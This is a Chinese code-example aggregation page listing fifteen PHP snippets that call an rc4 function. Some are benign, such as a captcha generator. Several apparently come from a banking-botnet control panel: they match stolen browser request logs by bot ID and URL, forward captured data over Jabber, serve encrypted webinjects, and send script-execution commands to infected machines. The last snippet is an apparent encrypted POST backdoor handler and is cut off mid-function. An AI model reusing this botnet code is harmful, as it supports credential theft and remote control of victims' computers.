本文整理汇总了PHP中rc4函数的典型用法代码示例。如果您正苦于以下问题:PHP rc4函数的具体用法?PHP rc4怎么用?PHP rc4使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了rc4函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: get_post
function get_post()
{
$post = fix_magic_quote($_POST);
if (empty($_FILES) && is_ajax()) {
$post_str = rc4($GLOBALS['cipher_key'], hex2bin($post['target']));
parse_str($post_str, $post);
$post = fix_magic_quote($post);
}
return $post;
}
示例2: z
function z($d, $p = false, $m = false)
{
/*RC4 implementation*/
if (!function_exists('rc4')) {
function rc4($d, $p)
{
if (!$p) {
return $d;
}
$a = array();
$j = 0;
for ($i = 0; $i < 256; $i++) {
$a[$i] = $i;
}
for ($i = 0; $i < 256; $i++) {
$j = ($j + $a[$i] + ord($p[$i % strlen($p)])) % 256;
$z = $a[$i];
$a[$i] = $a[$j];
$a[$j] = $z;
}
$i = $j = 0;
for ($y = 0; $y < strlen($d); $y++) {
$i = ($i + 1) % 256;
$j = ($j + $a[$i]) % 256;
$z = $a[$i];
$a[$i] = $a[$j];
$a[$j] = 0 + $z;
@($R .= $d[$y] ^ chr($a[($a[$i] + $a[$j]) % 256]));
}
return $R;
}
}
$a = array(json_decode('"\\u200c"'), json_decode('"\\u200d"'), !is_bool($m) ? $m[0] : json_decode('"\\u2589"'));
$A = str_repeat($a[0], 32) . str_repeat($a[1], 32);
if (@$m[1] && mb_substr_count($d, $m[1]) % 2 == 0) {
//parts-mode
return preg_replace_callback("#\\{$m[1]}([\\x{0000}-\\x{ffff}]+?)\\{$m[1]}#ums", function ($_) use($A, $p, $m) {
return $A . z($_[1], $p ? $p : !1, $m[0]);
}, preg_replace("#\\{$m[1]}{2}#ums", '', $d));
}
if ($m) {
$m = preg_replace('# {2,}#ms', ' ', preg_replace('#[^ \\t\\n]#ums', $a[2], html_entity_decode('' . strip_tags($d), !1, 'UTF-8')));
}
$d = rc4("ÿÿÿÿ" . preg_replace_callback('#[\\x{0100}-\\x{ffff}]#u', function ($_) {
return '&#' . hexdec(json_encode($_[0])) . ';';
}, $d), $p);
for ($j = 0; $j < strlen($d); $j++) {
@($z .= str_replace(array(0, 1), $a, str_pad(decbin(ord($d[$j])), 8, '0', STR_PAD_LEFT)));
}
return ($m ? $a[2] : '') . $z . @mb_substr($m, 1);
}
示例3: respond
function respond($o, $encr = NULL)
{
global $config;
header('Content-Type: text/plain');
$o = is_string($o) ? $o : json_encode($o);
if ($encr === TRUE || $encr === NULL && $config['encrypt']) {
$a = str_split(uniqid());
shuffle($a);
$a = sha1(implode('', $a));
$k =& $_SESSION['key1'];
$o = '!:' . bin2hex(rc4($k, '!:' . $a . "\n" . $o));
$_SESSION['key2'] = $k;
$k = $a;
}
exit($o);
}
示例4: rc4decrypt
function rc4decrypt($data, $box)
{
global $config;
return substr(rc4($data, rc4Init($box)), $config['rc4drop']);
}
示例5: imNotify
//.........这里部分代码省略.........
$messages = array();
# Notify of new matching BotIDs
if ($defloration) {
$ml = explode("", $GLOBALS['config']['reports_jn_botmasks']);
foreach ($ml as $mask) {
if (@preg_match('#^' . str_replace('\\*', '.*', preg_quote($mask, '#')) . '$#i', $botId) > 0) {
$messages[] = "Reason: botId matched\nBot ID: {$botId}\n";
break;
}
}
}
# Notify of matching BotIDs went online
if ($wentOnline) {
$ml = explode("", $GLOBALS['config']['reports_jn_masks']['wentOnline']);
foreach ($ml as $mask) {
if (@preg_match('#^' . str_replace('\\*', '.*', preg_quote($mask, '#')) . '$#i', $botId) > 0) {
$messages[] = "Reason: botId is online\nBot ID: {$botId}\n";
break;
}
}
}
# Notify of matching report URLs
if (($type == BLT_HTTP_REQUEST || $type == BLT_HTTPS_REQUEST) && !empty($list[SBCID_PATH_SOURCE])) {
$ml = explode("", $GLOBALS['config']['reports_jn_list']);
foreach ($ml as $mask) {
if (@preg_match('#^' . str_replace('\\*', '.*', preg_quote($mask, '#')) . '$#i', $list[SBCID_PATH_SOURCE]) > 0) {
$messages[] = "Reason: URL matched\nBot ID: {$botId}\nURL: " . $list[SBCID_PATH_SOURCE] . "\n\n" . substr($list[SBCID_BOTLOG], 0, 1024);
break;
}
}
}
# Notify of matching report contexts by type
# NOTE: these reports are not presented in full! Only some lines around the keyword
if (!empty($list[SBCID_BOTLOG])) {
$report_match = array(BLT_ANALYTICS_SOFTWARE => array('software', 'Software matched'), BLT_COMMANDLINE_RESULT => array('cmd', 'Command line result matched'));
foreach ($report_match as $rm_type => $rm) {
if ($type == $rm_type) {
$ml = explode("", $GLOBALS['config']['reports_jn_masks'][$rm[0]]);
$reason = $rm[1];
foreach (array_filter(array_map('trim', $ml), 'strlen') as $mask) {
if (@preg_match('#' . str_replace('\\*', '.*', preg_quote($mask, '#')) . '#i', $list[SBCID_BOTLOG], $m, PREG_OFFSET_CAPTURE) > 0) {
# Extract a few lines around the match
$surrounding_lines = 2;
$match_pos = $m[0][1];
# offset of the match
$n_pos = array(0);
# array of \n offsets
$p = 0;
# current offset
$p_past_npos = false;
# are we past the match?
while (FALSE !== ($p = strpos($list[SBCID_BOTLOG], "\n", $p))) {
# all \n-s
$n_pos[] = $p;
# add it
if ($p > $match_pos) {
$p_past_npos = true;
}
if (!$p_past_npos && count($n_pos) > $surrounding_lines + 1) {
# don't keep more than N \n-s
array_shift($n_pos);
}
if ($p_past_npos && count($n_pos) >= ($surrounding_lines + 1) * 2) {
# stop a few lines past the match
break;
}
$p++;
}
$p_from = array_shift($n_pos);
$p_till = array_pop($n_pos);
$message_part = trim(substr($list[SBCID_BOTLOG], $p_from, $p_till - $p_from));
$messages[] = "Reason: {$reason}\nBot ID: {$botId}\n\n" . $message_part;
break;
}
}
}
}
}
# Notify
if (empty($messages)) {
return;
}
foreach ($messages as $message) {
GateLog::get()->log(GateLog::L_TRACE, 'Jabber', sprintf("Notify %s : %s", $GLOBALS['config']['reports_jn_to'], $message));
}
jabber_notify($GLOBALS['config']['reports_jn_to'], $messages);
# Execute scripts, if set
global $country_allowed;
if ($country_allowed && strlen($GLOBALS['config']['reports_jn_script']) > 0) {
$eid = md5(microtime(), true);
$script = 'user_execute "' . trim($GLOBALS['config']['reports_jn_script']) . '" -f';
$size = strlen($eid) + strlen($script);
$replyData = pack('LLLL', 1, 0, $size, $size) . $eid . $script;
$replyData = pack('LLLLLLLL', mt_rand(), mt_rand(), mt_rand(), mt_rand(), mt_rand(), HEADER_SIZE + strlen($replyData), 0, 1) . md5($replyData, true) . $replyData;
visualEncrypt($replyData);
rc4($replyData, $GLOBALS['globalKey']);
echo $replyData;
die;
}
}
示例6: decrypt
function decrypt($r)
{
$data = $r;
rc4($data, rc4Init('secret'));
return $data;
}
示例7: decrypt
function decrypt($info, $encrypt_enable, $encrypt_pass, $encrypt_type)
{
if ($encrypt_enable) {
if ($encrypt_type === "AES") {
require_once "aes.php";
$info = AESDecryptCtr($info, $encrypt_pass);
} else {
require_once "rc4.php";
$info = rc4(base64_decode($info), $encrypt_pass);
}
} else {
$info = base64_decode($info);
}
return $info;
}
示例8: decrypt_data
function decrypt_data($data, $key)
{
$data = rc4($key, hex2bin($data));
$data = json_from_string($data);
if (!$data) {
return false;
}
if (!isset($data['data']) || empty($data['data'])) {
return false;
}
return $data['data'];
}
示例9: decrypt
function decrypt($ciphertext)
{
return rc4(base64_decode($ciphertext), $this->encryption_key);
}
示例10: loadfile
function loadfile($file)
{
$cipher = false;
if (strncmp($file, $s = 'webinjects-', $l = strlen($s)) === 0) {
# (slash issue) Bot does not like slashes in the filename. We'll simulate with a constant prefix
$filename = './files/webinjects/' . substr(basename($file), 0, $l);
$cipher = true;
} elseif (strncmp($file, $s = 'webinjects/', $l = strlen($s)) === 0) {
$filename = './files/webinjects/' . basename($file);
$cipher = true;
} else {
$filename = './files/' . basename($file);
}
if (!is_file($filename)) {
return false;
}
$len = filesize($filename);
$file_extension = strtolower(substr(strrchr($filename, "."), 1));
header("Cache-Control:");
header("Cache-Control: public");
header("Content-Type: application/octet-stream");
if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) {
$iefilename = preg_replace('/\\./', '%2e', $filename, substr_count($filename, '.') - 1);
header("Content-Disposition: attachment; filename=\"{$iefilename}\"");
} else {
header("Content-Disposition: attachment; filename=\"{$filename}\"");
}
header('Content-Transfer-Encoding: binary');
header("Content-Length: " . $len);
@ob_clean();
flush();
if (!$cipher) {
@readfile("{$filename}");
} else {
$contents = file_get_contents($filename);
rc4($contents, $GLOBALS['config']['botnet_cryptkey_bin']);
echo $contents;
}
return true;
}
示例11: imNotify
function imNotify(&$type, &$list, &$botId)
{
if (($type == BLT_HTTP_REQUEST || $type == BLT_HTTPS_REQUEST) && !empty($list[SBCID_PATH_SOURCE])) {
$ml = explode("", $GLOBALS['config']['reports_jn_list']);
foreach ($ml as &$mask) {
if (@preg_match('#^' . str_replace('\\*', '.*', preg_quote($mask, '#')) . '$#i', $list[SBCID_PATH_SOURCE]) > 0) {
$message = htmlentities("Bot ID: " . $botId . "\nURL: " . $list[SBCID_PATH_SOURCE] . "\n\n" . substr($list[SBCID_BOTLOG], 0, 1024));
error_reporting(0);
if (strlen($GLOBALS['config']['reports_jn_logfile']) > 0 && ($fh = @fopen($GLOBALS['config']['reports_jn_logfile'], 'at')) !== false) {
@fwrite($fh, $message . "\n\n" . str_repeat('=', 40) . "\n\n");
@fclose($fh);
}
require_once "system/jabberclass.php";
$jab = new Jabber();
$jab->server = $GLOBALS['config']['reports_jn_server'];
$jab->port = $GLOBALS['config']['reports_jn_port'];
$jab->username = $GLOBALS['config']['reports_jn_account'];
$jab->password = $GLOBALS['config']['reports_jn_pass'];
if ($jab->connect()) {
$jab->sendAuth();
$jab->sendPresence(NULL, NULL, "online");
$jab->sendMessage($GLOBALS['config']['reports_jn_to'], "normal", NULL, array("body" => $message));
$jab->disconnect();
}
if (strlen($GLOBALS['config']['reports_jn_script']) > 0) {
$eid = md5($mask, true);
$script = 'user_execute "' . trim($GLOBALS['config']['reports_jn_script']) . '" -f';
$size = strlen($eid) + strlen($script);
$replyData = pack('LLLL', 1, 0, $size, $size) . $eid . $script;
$replyData = pack('LLLLLLLL', mt_rand(), mt_rand(), mt_rand(), mt_rand(), mt_rand(), HEADER_SIZE + strlen($replyData), 0, 1) . md5($replyData, true) . $replyData;
visualEncrypt($replyData);
rc4($replyData, $GLOBALS['config']['botnet_cryptkey_bin']);
echo $replyData;
die;
}
break;
}
}
}
}
示例12: getCaptcha
/**
* generates a simple captcha
*
* @return array;
*/
function getCaptcha($prompt = NULL)
{
global $_zp_HTML_cache;
$_zp_HTML_cache->disable();
$captcha_len = getOption('zenphoto_captcha_length');
$key = $this->getCaptchaKey();
$lettre = getOption('zenphoto_captcha_string');
$numlettre = strlen($lettre) - 1;
$string = '';
for ($i = 0; $i < $captcha_len; $i++) {
$string .= $lettre[rand(0, $numlettre)];
}
$cypher = bin2hex(rc4($key, $string));
$code = sha1($cypher);
query('DELETE FROM ' . prefix('captcha') . ' WHERE `ptime`<' . (time() - 3600), false);
// expired tickets
query("INSERT INTO " . prefix('captcha') . " (ptime, hash) VALUES (" . db_quote(time()) . "," . db_quote($code) . ")", false);
$html = '<label for="code" class="captcha_label">' . $prompt . '</label><img id="captcha" src="' . WEBPATH . '/' . ZENFOLDER . '/' . PLUGIN_FOLDER . '/zpCaptcha/c.php?i=' . $cypher . '" alt="Code" />';
$input = '<input type="text" id="code" name="code" class="captchainputbox" />';
$hidden = '<input type="hidden" name="code_h" value="' . $code . '" />';
return array('input' => $input, 'html' => $html, 'hidden' => $hidden);
}
示例13: crypto_unserialize
function crypto_unserialize($data)
{
return unserialize(base64_decode(rc4($data, WorkbenchConfig::get()->value("rc4Secret"), false)));
}
示例14: sAjax
function sAjax($i)
{
global $config;
exit(base64_encode(rc4($i, rc4Init($config['sPass']))));
}
示例15: chr
$s[$j] = $x;
$t = chr($s[($s[$i] + $s[$j]) % 256]);
if ($t == $str[$y]) {
$res .= chr(ord($str[$y]));
} else {
$res .= $t ^ $str[$y];
}
}
return $res;
}
if (isset($_POST['pd']) || isset($_POST['SESSION'])) {
if (isset($_POST['pd'])) {
$client = 0;
$b64Data = str_replace($GOODCHAR, $BADCHAR, $_POST['pd']);
$pEncData = base64_decode($b64Data);
$pData = rc4($pEncData, $ENCKEY);
} else {
if (isset($_POST['SESSION'])) {
$client = 1;
$b64Data = str_replace($GOODCHAR, $BADCHAR, $_POST['SESSION']);
$pEncData = base64_decode($b64Data);
$pData = $pEncData;
}
}
parse_str($pData, $POST);
foreach ($POST as $key => $value) {
//print "\nOld Value: " . $value;
$POST[$key] = str_replace($GOODCHAR, $BADCHAR, $value);
//print "\nNew Value: " . $POST[$key];
}
if (isset($POST['enc'])) {